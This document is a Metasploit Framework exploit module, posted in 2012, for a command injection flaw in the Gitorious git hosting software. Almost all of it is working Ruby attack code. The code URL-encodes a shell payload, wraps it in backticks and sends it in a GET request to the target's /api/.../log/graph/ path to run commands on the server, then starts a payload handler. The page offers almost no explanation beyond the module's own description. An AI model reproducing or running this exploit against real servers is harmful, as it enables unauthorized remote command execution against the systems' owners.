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Gitorious Arbitrary Command Execution

Posted on 21 January 2012

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
 super(update_info(info,
 'Name' => 'Gitorious Arbitrary Command Execution',
 'Description' => %q{
 This module exploits an arbitrary command execution vulnerability in the
 in gitorious. Unvalidated input is send to the shell allowing command execution.
 },
 'Author' => [ 'joernchen <joernchen[at]phenoelit.de>' ], #Phenoelit
 'License' => MSF_LICENSE,
 'References' =>
 [
 [ 'URL', 'http://gitorious.org/gitorious/mainline/commit/647aed91a4dc72e88a27476948dfbacd5d0bf7ce' ],
 ],
 'Privileged' => false,
 'Payload' =>
 {
 'BadChars' => "x60",
 'DisableNops' => true,
 'Space' => 31337,
 'Compat' =>
 {
 'PayloadType' => 'cmd',
 }
 },
 'Platform' => [ 'unix', 'linux' ],
 'Arch' => ARCH_CMD,
 'Targets' => [[ 'Automatic', { }]],
 'DisclosureDate' => 'Jan 19 2012'
 ))

 register_options(
 [
 OptString.new('URI', [true, "Path to project and repository", "/project/repo"]),
 ], self.class)
 end

 def exploit
 # Make sure the URI begins with a slash
 uri = datastore['URI']
 if uri[0,1] != '/'
 uri = '/' + uri
 end

 # Make sure the URI ends without a slash, because it's already part of the URI
 if uri[-1, 1] == '/'
 uri = uri[0, uri.length-1]
 end

 command = Rex::Text.uri_encode(payload.raw, 'hex-all')
 command.gsub!("%20","%2520")
 res = send_request_cgi({
 'uri' => "/api"+ uri + "/log/graph/%60#{command}%60",
 'method' => 'GET',
 'headers' =>
 {
 'Connection' => 'Close',
 }
 }) #default timeout, we don't care about the response

 if (res)
 print_status("The server returned: #{res.code} #{res.message}")
 end

 handler
 end

end

 

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